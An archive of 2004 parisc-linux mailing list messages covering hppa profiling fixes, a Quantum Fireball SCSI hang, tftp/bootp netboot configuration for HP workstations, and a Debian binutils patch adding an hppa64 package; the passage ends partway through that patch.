NNTP-Posting-Date: Sat, 22 Nov 2014 02:24:56 +0000 (UTC)
Cc: LaMont Jones <lamont@debian.org>
To: parisc-linux@lists.parisc-linux.org, debian-hppa@lists.debian.org
Original-X-From: carlos@baldric.uwo.ca  Thu Jan  1 13:11:17 2004
Return-Path: <carlos@baldric.uwo.ca>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from baldric (baldric.uwo.ca [129.100.10.225])
	by dsl2.external.hp.com (Postfix) with ESMTP id 8E16C4866
	for <parisc-linux@lists.parisc-linux.org>;
	Thu,  1 Jan 2004 13:11:17 -0700 (MST)
Original-Received: from carlos by baldric with local (Exim 3.35 #1 (Debian))
	id 1Ac92N-0001tU-00; Thu, 01 Jan 2004 15:03:19 -0500
Content-Disposition: inline
User-Agent: Mutt/1.3.28i
X-Useless-Header: listen, love, accept, mindfullness, patience, and humility. 
X-Mailer: Neural Implant (82% Sync Ratio [========..])
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.3
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Thu, 01 Jan 2004 20:11:17 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:20530


lamont,

I know you were looking for me regarding the use of '-pg' profiling in
debian. It *is* broken, it's fixed on my experimental system thanks to a
few patches from Randolph. I'm currently looking into sprof so I can
profile glibc itself (not working currently).

The main issue was that the 'start' symbol needs to be canonicalized
before passing on to the gmon routines. This requires entry.h to be
modified. What does this *really* mean? It means that in general you
need a gcc-3.3 runtime to have glibc work properly, the good news is
that debian doesn't have to have a gcc-3.3 runtime since __c_f_f_c was
backported for our gcc pacakges. 

I need to coordinate with the debian-glibc people again to resync the
patches required for hppa.

Cheers,
Carlos.



From - Thu Nov 08 21:30:31 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Using -pg on hppa *is* broken
Date: Thu, 1 Jan 2004 16:00:16 -0500 (EST)
Lines: 10
Approved: news@gmane.org
Message-ID: <200401012100.i01L0G0L019101__41226.3073878877$1416623096$gmane$org@hiauly1.hia.nrc.ca>
References: <20040101200318.GB7069@systemhalted>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623096 4158 80.91.229.3 (22 Nov 2014 02:24:56 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:24:56 +0000 (UTC)
Cc: lamont@debian.org, parisc-linux@lists.parisc-linux.org,
	debian-hppa@lists.debian.org
To: carlos@baldric.uwo.ca (Carlos O'Donell)
Original-X-From: dave@hiauly1.hia.nrc.ca  Thu Jan  1 14:00:21 2004
Return-Path: <dave@hiauly1.hia.nrc.ca>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by dsl2.external.hp.com (Postfix) with ESMTP id CE0944866
	for <parisc-linux@lists.parisc-linux.org>;
	Thu,  1 Jan 2004 14:00:20 -0700 (MST)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [127.0.0.1] (may be
	forged)) by hiauly1.hia.nrc.ca (8.12.9-20030917/8.12.9) with ESMTP id
	i01L0HIc019102; Thu, 1 Jan 2004 16:00:17 -0500 (EST)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.12.9-20030917/8.12.9/Submit) id i01L0G0L019101;
	Thu, 1 Jan 2004 16:00:16 -0500 (EST)
In-Reply-To: <20040101200318.GB7069@systemhalted> from "Carlos O'Donell" at
	Jan 1, 2004 03:03:19 pm
X-Mailer: ELM [version 2.4 PL25]
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.3
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Thu, 01 Jan 2004 21:00:21 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:20531

> The main issue was that the 'start' symbol needs to be canonicalized
> before passing on to the gmon routines. This requires entry.h to be

I still think that using __c_f_f_c for this special case is overkill.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)


From - Thu Nov 08 21:30:31 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Steve Bromwich <hppa@fop.ns.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Disk hanging problems with 715/100XC fixed
Date: Thu, 1 Jan 2004 17:55:08 -0400 (AST)
Lines: 27
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.58.0401011742320.26846@brain.fop.ns.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416623097 4160 80.91.229.3 (22 Nov 2014 02:24:57 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:24:57 +0000 (UTC)
To: parisc-linux@parisc-linux.org
Original-X-From: lists@fop.ns.ca  Thu Jan  1 14:55:09 2004
Return-Path: <lists@fop.ns.ca>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from brain.fop.ns.ca (u135n18.eastlink.ca [24.224.135.18])
	by dsl2.external.hp.com (Postfix) with ESMTP id 987424866
	for <parisc-linux@parisc-linux.org>;
	Thu,  1 Jan 2004 14:55:09 -0700 (MST)
Original-Received: from lists (helo=localhost)
	by brain.fop.ns.ca with local-esmtp (Exim 3.35 #1 (Debian))
	id 1AcAmb-000738-00
	for <parisc-linux@parisc-linux.org>; Thu, 01 Jan 2004 17:55:09 -0400
X-X-Sender: lists@brain.fop.ns.ca
Original-Sender: Mailing Lists <lists@fop.ns.ca>
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.3
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Thu, 01 Jan 2004 21:55:10 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:20532

Hi,

A while ago I posted here about problems I had with my machine hanging
under heavy disk activity. After getting a round tuit for Christmas, I
finally traced it down to one of the drives (a Quantum Fireball) not being
able to support maximal values for TCQ, as referenced in Configure.help
for CONFIG_AIC7XXX_OLD_CMDS_PER_DEVICE:

  NOTE: Certain very broken drives are known to lock up when given
  more commands than they like to deal with. Quantum Fireball drives
  are the most common in this category. For the Quantum Fireball
  drives it is suggested to use no more than 8 commands per device.

To help anyone googling keywords with the same problem, my drive
(according to /proc/scsi/scsi) is:

Host: scsi0 Channel: 00 Id: 02 Lun: 00
  Vendor: QUANTUM  Model: FIREBALL-ST2     Rev: HP0J
  Type:   Direct-Access                    ANSI SCSI revision: 02

I fixed this by setting NCR_700_MAX_TAGS to 8 in drivers/scsi/53c700.h.
Hopefully this will help anyone else who has the same problem! My machine
has now been up and running for 5 days quite happily, whereas before it
wouldn't last longer than 24 hours.

Cheers, Steve


From - Thu Nov 08 21:30:31 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Steve Bromwich <hppa@fop.ns.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: Installing Debian on an 712/80
Date: Thu, 1 Jan 2004 18:13:13 -0400 (AST)
Lines: 93
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.58.0401011758050.26846@brain.fop.ns.ca>
References: <1072192801.83937480brianbarber@myrealbox.com>
	<20040101195129.GC2620@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416623097 4163 80.91.229.3 (22 Nov 2014 02:24:57 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:24:57 +0000 (UTC)
Cc: parisc-linux@parisc-linux.org
To: Matthew Wilcox <willy@debian.org>
Original-X-From: lists@fop.ns.ca  Thu Jan  1 15:13:16 2004
Return-Path: <lists@fop.ns.ca>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from brain.fop.ns.ca (u135n18.eastlink.ca [24.224.135.18])
	by dsl2.external.hp.com (Postfix) with ESMTP id AA77A4866
	for <parisc-linux@parisc-linux.org>;
	Thu,  1 Jan 2004 15:13:16 -0700 (MST)
Original-Received: from lists (helo=localhost)
	by brain.fop.ns.ca with local-esmtp (Exim 3.35 #1 (Debian))
	id 1AcB46-0007HT-00; Thu, 01 Jan 2004 18:13:14 -0400
X-X-Sender: lists@brain.fop.ns.ca
In-Reply-To: <20040101195129.GC2620@parcelfarce.linux.theplanet.co.uk>
Original-Sender: Mailing Lists <lists@fop.ns.ca>
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.3
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Thu, 01 Jan 2004 22:13:17 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:20533

On Thu, 1 Jan 2004, Matthew Wilcox wrote:

> On Tue, Dec 23, 2003 at 10:20:01AM -0500, Brian Barber wrote:
>
> > I've done some more digging and come up with the following obstacles:
> > 1) HP machines require active SCSI termination, hence the reason why I could not boot from my (borrowed) external SCSI CD-ROM (passive terminator only)
>
> I'm not sure that's true, but they do require certain CD drives to
> boot from.  I forget the details; something to do with 2k vs 512 byte
> sector sizes.

The industry standard (ie, IBM PC world) is 2048 byte sectors, whereas HP
(and Sun) use 512 byte sectors. If you don't have a drive that supports
512 byte sectors, you won't get anywhere. See the post I made (and
subsequent informative posts from others) at
http://lists.parisc-linux.org/pipermail/parisc-linux/2003-November/021645.html
for more details.

> > If I am correct (jump in here), I am left with bootp/tftp as the only
> > means of booting the machine.  If I take this route, I copy lifimage
> > to the boot directory of my tftp server.  This is where I am stuck.
> > There is no documentation I can find (or discern) that walks one through
> > an install from a tftp-booted machine.  Is there a way for me to mount
> > the Debain CD via nfs and launch the installer from there?

When you boot via tftp you still need a way to communicate with the box,
either using a keyboard and monitor, or (more commonly) via serial
console. Is this the answer to the question you're asking?

Alternatively, when you boot the lifimage I *think* you get the option of
installing from pre-mounted directory (somewhat useless via serial console
- I don't think there's any way to get a shell prompt to premount a
directory), NFS, HTTP or FTP - ie, the usual Debian install methodology. I
suspect your best bet is over NFS.

> I'd like to just point you at the boot HOWTO [1], but it doesn't seem
> to cover this step.  It only covers booting the kernel, not setting up
> your NFS root.  I've had mixed success with using debootstrap to populate
> a minimal nfsroot, then updating to sid and installing new packages.

One thing I noticed is that the config given is using inetd (I use xinetd)
and appears to be using the "standard" tftp, rather than hpa's tftpd. I
recently set up a diskless J200 (imaginatively named "j200"), the config I
used on the server is as follows:

dhcpd.conf:

allow bootp;
option domain-name "fop.ns.ca";
option domain-name-servers 10.2.1.10;
option log-servers 10.2.1.10;
authoritative;
use-host-decl-names on;

host j200 {
  hardware ethernet 08:00:09:8c:d1:41;
  filename "lifimage";
  server-name "10.2.1.10";
  fixed-address 10.2.1.21;
  option subnet-mask 255.255.255.0;
  option broadcast-address 10.2.1.255;
  option routers 10.2.1.200;
  option domain-name "fop.ns.ca";
  option root-path "10.2.1.21:/j200";
}


xinetd.conf:

service tftp
{
       socket_type     = dgram
       protocol        = udp
       wait            = yes
       user            = root
       #server         = /usr/sbin/tcpd
       #server_args    = /usr/sbin/in.tftpd /tftpboot
       server          = /usr/sbin/in.tftpd
       server_args     = -v -s /tftpboot
       disable         = no
}


One tip I noticed is it takes a dog's age to boot with serial console set
to 9600. If you're going to do a serial console, I'd recommend upping the
rate to 19200.

I'm off to Boston tomorrow for a week and a half, but if you're still
having troubles when I get back I can fire up the J200 and write up a
step-by-step if it'd help.

Cheers, Steve


From - Thu Nov 08 21:30:32 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: =?ISO-8859-1?Q?Corn=E9_Beerse?= <cbeerse@lycos.nl>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] good list management ...
Date: Fri, 02 Jan 2004 13:54:52 +0100
Lines: 27
Approved: news@gmane.org
Message-ID: <3FF56A1C.9090701@lycos.nl>
References: <20031225010037.GB18790@MAIL.13thfloor.at>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623097 4168 80.91.229.3 (22 Nov 2014 02:24:57 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:24:57 +0000 (UTC)
To: Herbert Poetzl <herbert@13thfloor.at>,
	parisc-linux@lists.parisc-linux.org, parisc-linux@parisc-linux.org
Original-X-From: cbeerse@lycos.nl  Fri Jan  2 05:55:02 2004
Return-Path: <cbeerse@lycos.nl>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from lmdeliver02.st1.spray.net (lmdeliver02.st1.spray.net
	[212.78.202.115])
	by dsl2.external.hp.com (Postfix) with ESMTP id F15A54891
	for <parisc-linux@lists.parisc-linux.org>;
	Fri,  2 Jan 2004 05:55:01 -0700 (MST)
Original-Received: from lmfilto01.st1.spray.net (lmfilto01 [212.78.202.65])
	by lmdeliver02.st1.spray.net (Postfix) with ESMTP
	id 73FB91FCAD; Fri,  2 Jan 2004 13:54:55 +0100 (MET)
Original-Received: from localhost (localhost [127.0.0.1])
	by lmfilto01.st1.spray.net (Postfix) with ESMTP
	id 5C56315195; Fri,  2 Jan 2004 13:54:55 +0100 (CET)
Original-Received: from lmsmtp01.st1.spray.net ([212.78.202.111])
	by localhost (lmfilto01.st1.spray.net [212.78.202.32]) (amavisd-new,
	port 10024)
	with ESMTP id 12841-08; Fri,  2 Jan 2004 13:54:55 +0100 (CET)
Original-Received: from lycos.nl (unknown [193.172.135.148])
	by lmsmtp01.st1.spray.net (Postfix) with ESMTP id 156621E7A0;
	Fri,  2 Jan 2004 13:54:54 +0100 (MET)
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.0; en-US;
	rv:1.4) Gecko/20030624 Netscape/7.1 (ax)
X-Accept-Language: en-us, en
In-Reply-To: <20031225010037.GB18790@MAIL.13thfloor.at>
X-Virus-Scanned: by amavisd-new at spray.net
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.3
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Fri, 02 Jan 2004 12:55:02 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:20534

Herbert Poetzl wrote:

> .. especially the spam filters ...

Several of the maillists I follow need subscription to be able to post to the 
list. This might be an idea for this list too (if the maillist engine allows it).

If such an meganism is activated, I'd like to be able to add some 'from: ' 
addresses to my account to be able to send from different locations direct into 
the maillist.


CBee

> 
> best,
> Herbert
> 
> _______________________________________________
> parisc-linux mailing list
> parisc-linux@lists.parisc-linux.org
> http://lists.parisc-linux.org/mailman/listinfo/parisc-linux
> 
> 




From - Thu Nov 08 21:30:32 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthias Klose <doko@cs.tu-berlin.de>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Bug#225892: [patch] on hppa build binutils targeted
	for hppa64
Date: Fri, 2 Jan 2004 14:41:34 +0100
Lines: 245
Approved: news@gmane.org
Message-ID: <16373.29966.536645.79842__17417.965460527$1416623098$gmane$org@gargle.gargle.HOWL>
Reply-To: Matthias Klose <doko@cs.tu-berlin.de>, 225892@bugs.debian.org
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623098 4173 80.91.229.3 (22 Nov 2014 02:24:58 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:24:58 +0000 (UTC)
To: submit@bugs.debian.org
Original-X-From: debbugs@master.debian.org  Fri Jan  2 08:27:29 2004
Return-Path: <debbugs@master.debian.org>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from master.debian.org (master.debian.org [146.82.138.7])
	by dsl2.external.hp.com (Postfix) with ESMTP id 082EE4891
	for <parisc-linux@lists.parisc-linux.org>;
	Fri,  2 Jan 2004 08:27:29 -0700 (MST)
Original-Received: from debbugs by master.debian.org with local (Exim 3.35 1 (Debian))
	id 1AcQpP-0006RY-00; Fri, 02 Jan 2004 09:03:07 -0600
X-Loop: owner@bugs.debian.org
Resent-From: Matthias Klose <doko@cs.tu-berlin.de>
Resent-To: debian-bugs-dist@lists.debian.org
Resent-Cc: debian-hppa@lists.debian.org,
	parisc-linux@lists.parisc-linux.org, James Troup <james@nocrew.org>
Resent-Date: Fri, 02 Jan 2004 15:03:05 UTC
Resent-Message-ID: <handler.225892.B.107305566423472@bugs.debian.org>
X-Debian-PR-Message: report 225892
X-Debian-PR-Package: binutils
X-Debian-PR-Keywords: patch
Original-Received: via spool by submit@bugs.debian.org id=B.107305566423472
	(code B ref -1); Fri, 02 Jan 2004 15:03:05 UTC
Original-Received: (at submit) by bugs.debian.org; 2 Jan 2004 15:01:04 +0000
Original-Received: from mail.cs.tu-berlin.de [130.149.17.13] 
	by master.debian.org with esmtp (Exim 3.35 1 (Debian))
	id 1AcPbx-00031y-00; Fri, 02 Jan 2004 07:45:09 -0600
Original-Received: from bolero.cs.tu-berlin.de (doko@bolero.cs.tu-berlin.de
	[130.149.19.1])
	by mail.cs.tu-berlin.de (8.9.3p2/8.9.3) with ESMTP id OAA11662
	for <submit@bugs.debian.org>; Fri, 2 Jan 2004 14:41:35 +0100 (MET)
Original-Received: (from doko@localhost)
	by bolero.cs.tu-berlin.de (8.12.10+Sun/8.12.8/Submit) id i02DfY2H026655;
	Fri, 2 Jan 2004 14:41:34 +0100 (MET)
X-Mailer: VM 7.03 under 21.4 (patch 6) "Common Lisp" XEmacs Lucid
Delivered-To: submit@bugs.debian.org
X-Spam-Checker-Version: SpamAssassin 
	2.60-master.debian.org_2003_11_25-bugs.debian.org_2003_12_29 
	(1.212-2003-09-23-exp) on master.debian.org
X-Spam-Status: No, hits=-8.0 required=4.0 tests=HAS_PACKAGE,X_DEBBUGS_CC 
	autolearn=no 
	version=2.60-master.debian.org_2003_11_25-bugs.debian.org_2003_12_29
X-Spam-Level: 
Resent-Sender: Debian BTS <debbugs@master.debian.org>
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.3
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Fri, 02 Jan 2004 15:27:29 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:20535

Package: binutils
Version: 2.14.90.0.7
Tags: patch

Please apply the following patch to build an binutils-hppa64 package,
which is needed together with gcc-3.3-hppa64 to build the 64bit
kernels for hppa-linux. The tools currently used to build the 64bit
aren't packaged at all, so this is a first step ...

Binary packages currently can be found at
http://cs.tu-berlin.de/~doko/tmp/hppa/



diff -ur binutils-2.14.90.0.7.old/debian/control binutils-2.14.90.0.7/debian/control
--- binutils-2.14.90.0.7.old/debian/control	2003-12-15 08:25:17.000000000 +0100
+++ binutils-2.14.90.0.7/debian/control	2003-12-17 22:39:10.000000000 +0100
@@ -43,6 +43,19 @@
  NORMAL USERS SHOULD NOT INSTALL THIS PACKAGE.  It's meant only for those
  requiring support for reading info from binaries from other architectures.
 
+Package: binutils-hppa64
+Architecture: hppa
+Depends: ${shlibs:Depends}, binutils (>= ${Source-Version})
+Conflicts: binutils-multiarch
+Recommends: libc6-dev
+Suggests: binutils-doc (>= ${Source-Version})
+Description: The GNU assembler, linker and binary utilities targeted for hppa64-linux
+ The programs in this package are used to assemble, link and manipulate
+ binary and object files.  They may be used in conjunction with a compiler
+ and various libraries to build programs.
+ .
+ This package is needed to build an 64bit kernel for the 64bit hppa machines.
+
 Package: binutils-doc
 Section: doc
 Architecture: all
diff -ur binutils-2.14.90.0.7.old/debian/rules binutils-2.14.90.0.7/debian/rules
--- binutils-2.14.90.0.7.old/debian/rules	2003-12-15 08:25:17.000000000 +0100
+++ binutils-2.14.90.0.7/debian/rules	2003-12-17 22:37:07.000000000 +0100
@@ -19,6 +19,7 @@
 p_dev = $(p_bin)-dev
 p_mul = $(p_bin)-multiarch
 p_doc = $(p_bin)-doc
+p_hppa64 = $(p_bin)-hppa64
 
 pwd   := $(shell pwd)
 d     = debian/tmp
@@ -26,6 +27,7 @@
 d_dev = debian/$(p_dev)
 d_mul = debian/$(p_mul)
 d_doc = debian/$(p_doc)
+d_hppa64 = debian/$(p_hppa64)
 
 install_dir    = install -d -m 755
 install_file   = install -m 644
@@ -44,6 +46,12 @@
 MULTI_VERSION = $(VERSION)-multiarch
 MULTI_ARGS    = MAKEOVERRIDES="VERSION=$(MULTI_VERSION)"
 
+HPPA64_VERSION= $(VERSION)-hppa64
+HPPA64_ARGS   = MAKEOVERRIDES="VERSION=$(HPPA64_VERSION)"
+hppa64_prefix = usr
+#hppa64_prefix = usr/hppa64-linux
+#hppa64_prefix = usr/lib/hppa64-linux
+
 ########################################
 
 # Use older gcc on m68k until test suite regressions are resolved
@@ -92,10 +100,10 @@
 
 clean: unpatch
 	$(checkdir)
-	-rm -fr builddir-multi builddir-single
+	-rm -fr builddir-multi builddir-single builddir-hppa64
 	-find . -name \*.gmo -o -name \*~ | xargs rm -f
 	-rm -f $(pwd)/test-summary
-	-rm -fr $(d_bin) $(d_dev) $(d_mul) $(d_doc)
+	-rm -fr $(d_bin) $(d_dev) $(d_mul) $(d_doc) $(d_hppa64)
 	-rm -rf debian/patched debian/tmp debian/files debian/substvars
 
 ################################################################################
@@ -150,8 +158,40 @@
 		CFLAGS="$(CFLAGS)" $(MULTI_ARGS)
 	touch build-multi-stamp
 
+################################################################################
+
+#################
+# hppa64 target #
+#################
+
+configure-hppa64-stamp: patch-stamp
+	$(checkdir)
+	rm -rf configure-hppa64-stamp \
+		builddir-hppa64
+	mkdir builddir-hppa64
+	cd builddir-hppa64 \
+	    && env CC="$(CC)" ../configure \
+		--enable-shared \
+		--prefix=/$(hppa64_prefix) \
+		--build=$(DEB_BUILD_GNU_TYPE) \
+		--host=$(DEB_BUILD_GNU_TYPE) \
+		--target=hppa64-linux
+	$(MAKE) -C builddir-hppa64 configure-host
+	touch configure-hppa64-stamp
+
+build-hppa64-stamp: configure-hppa64-stamp
+	$(checkdir)
+	$(MAKE) -C builddir-hppa64/bfd headers
+	$(MAKE) -C builddir-hppa64 \
+		CFLAGS="$(CFLAGS)" $(HPPA64_ARGS)
+	touch build-hppa64-stamp
+
+build_stamps = build-single-stamp build-multi-stamp
+ifeq ($(DEB_HOST_ARCH),hppa)
+       build_stamps += build-hppa64-stamp
+endif
 build: build-stamp
-build-stamp: build-single-stamp build-multi-stamp
+build-stamp: $(build_stamps)
 	touch build-stamp
 
 ################################################################################
@@ -160,7 +200,11 @@
 # install target #
 ##################
 
-install: install-stamp
+install_stamps = install-stamp
+ifeq ($(DEB_HOST_ARCH),hppa)
+       install_stamps += install-hppa64-stamp
+endif
+install: $(install_stamps)
 install-stamp: checkroot build-stamp
 	$(checkdir)
 
@@ -183,7 +227,7 @@
 	: # Work around bug in 2.14.90.0.7 which caused as info and
 	: # manpages to not be installed.
 	make -C builddir-single/gas/doc \
-      		mandir=$(pwd)/$(d_bin)/usr/share/man \
+		mandir=$(pwd)/$(d_bin)/usr/share/man \
 	        infodir=$(pwd)/$(d_doc)/usr/share/info install-info-am install-am
 
 	: # copy libiberty.h ... not too keen on this, but it was requested
@@ -235,6 +279,48 @@
 
 	touch install-stamp
 
+install-hppa64-stamp: checkroot build-hppa64-stamp
+	$(checkdir)
+
+	rm -fr $(d_hppa64)
+	$(install_dir) $(d_hppa64)
+	$(install_dir) $(d_hppa64)/usr/lib
+
+	: # install binutils-hppa64 stuff
+	$(MAKE) -C builddir-hppa64 \
+		CFLAGS="$(CFLAGS)" $(HPPA64_ARGS) \
+		prefix=$(pwd)/$(d_hppa64)/$(hppa64_prefix) \
+		mandir=$(pwd)/$(d_hppa64)/$(hppa64_prefix)/share/man \
+		infodir=$(pwd)/$(d_hppa64)/$(hppa64_prefix)/share/info install
+
+	: # move shared libs to the stndard path
+	mv $(d_hppa64)/$(hppa64_prefix)/hppa-linux/hppa64-linux/lib/lib*-*.so \
+		$(d_hppa64)/usr/lib/.
+
+	: # Now get rid of just about everything in binutils-hppa64
+	rm -rf $(d_hppa64)/$(hppa64_prefix)/man
+	rm -rf $(d_hppa64)/$(hppa64_prefix)/info
+	rm -rf $(d_hppa64)/$(hppa64_prefix)/include
+	rm -rf $(d_hppa64)/$(hppa64_prefix)/share
+	rm -rf $(d_hppa64)/$(hppa64_prefix)/hppa-linux
+	rm -rf $(d_hppa64)/$(hppa64_prefix)/lib/libiberty.a
+	rm -rf $(d_hppa64)/$(hppa64_prefix)/lib/ldscripts
+
+	: # Strip shared libraries
+	$(STRIP) --strip-unneeded $(d_hppa64)/$(hppa64_prefix)/lib/libbfd-*so
+	$(STRIP) --strip-unneeded $(d_hppa64)/$(hppa64_prefix)/lib/libopcodes-*so
+
+	chmod ugo-x $(d_hppa64)/$(hppa64_prefix)/lib/*.so
+	$(STRIP) $(d_hppa64)/$(hppa64_prefix)/bin/*
+
+	: # Don't want /usr/<arch>-linux to exist in any package
+	rm -rf $(d_hppa64)/$(hppa64_prefix)/$(DEB_HOST_GNU_TYPE)
+
+	: # symlink include dir (this seems to be sufficient for now ...)
+	ln -sf ../include $(d_hppa64)/$(hppa64_prefix)/include
+
+	touch install-hppa64-stamp
+
 ################################################################################
 
 #######################
@@ -287,14 +373,22 @@
 	$(install_script) debian/binutils-multiarch.preinst $(d_mul)/DEBIAN/preinst
 	$(install_file) debian/binutils-multiarch.shlibs $(d_mul)/DEBIAN/shlibs
 
